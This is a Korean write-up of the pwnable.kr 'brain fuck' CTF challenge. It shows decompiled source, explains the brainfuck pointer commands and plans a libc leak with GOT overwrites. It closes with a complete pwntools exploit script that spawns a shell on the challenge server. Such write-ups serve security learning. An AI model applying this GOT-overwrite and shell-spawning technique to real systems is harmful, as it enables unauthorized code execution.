pwnable.kr brain fuck write-up
소스코드 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char input[1024]; // [esp+2Ch] [ebp-408h] BYREF
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(input, 0, sizeof(input));
fgets(input, 1024, stdin);
for ( i = 0; i < strlen(input); ++i )
do_brainfuck(input[i]);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl do_brainfuck(char input)
{
int result; // eax
_BYTE *v2; // ebx
result = input - 43;
switch ( input )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '<':
result = --p;
break;
case '>':
result = ++p;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
brainfuck 언어에서 [
, ]
명령어가 제외된 것을 확인할 수 있다.
바이너리 안에서 포인터 값을 조작하며 쉘을 획득할 수 있을 것 같다.
명령어에 대한 설명은 다음과 같다.
문자 | 의미 |
---|---|
> | 포인터 증가 |
< | 포인터 감소 |
+ | 포인터가 가리키는 바이트의 값 증가 |
- | 포인터가 가리키는 바이트의 값 감소 |
. | 포인터가 가리키는 바이트의 값을 ASCII 문자로 출력 |
, | 포인터가 가리키는 바이트에 입력받은 문자의 ASCII 값을 넣음 |
[ | 포인터가 가리키는 바이트의 값이 0이면 짝이 되는 뒤쪽의 ] 로 이동 |
] | 포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 앞쪽의 [ 로 이동 |
출처: 위키백과
익스플로잇
1024 바이트만 입력할 수 있기 때문에 포인터 값을 조작할 수 있는 범위내에서 조작해야 한다.
시나리오
system
함수의 실제 주소를 구한다.fgets
->system
got overwritememset
->gets
got overwriteputchar
->main
got overwriteputchar
를 통해main
함수를 호출하여 쉘을 획득한다.
getchar
함수로 하위 바이트를 조작하며 overwrite를 진행하였다.
p
가 가리키는 값을 p
로 변경하면 getchar
함수를 통해 하위 바이트를 쉽게 조작할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#bf.py
from pwn import *
# context.log_level = 'debug'
# p = process('./bf')
p = remote('pwnable.kr', 9001)
e = ELF('./bf')
libc = e.libc
payload = '<' * 0x20
payload += ',.>.>.>.'
payload += '>' * 0x65
payload += ',,>,>,>,'
payload += '>' * 0x6d
payload += ',,>,>,>,'
payload += '>' * 0x51
payload += ',,>,>,>,'
payload += '.'
p.sendlineafter(']\n', payload)
p.send('\x18')
puts_addr = u32(p.recvuntil('\xf7'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
gets_addr = libc_base + libc.sym['gets']
log.info('puts: ' + hex(puts_addr))
log.info('libc_base: ' + hex(libc_base))
p.send('\x10')
p.send(p32(system_addr))
p.send('\x2c')
p.send(p32(gets_addr))
p.send('\x30')
p.send(p32(e.sym['main']))
p.sendlineafter(']\n', '/bin/sh')
p.interactive()
쉘을 획득했다.
This post is licensed under CC BY 4.0 by the author.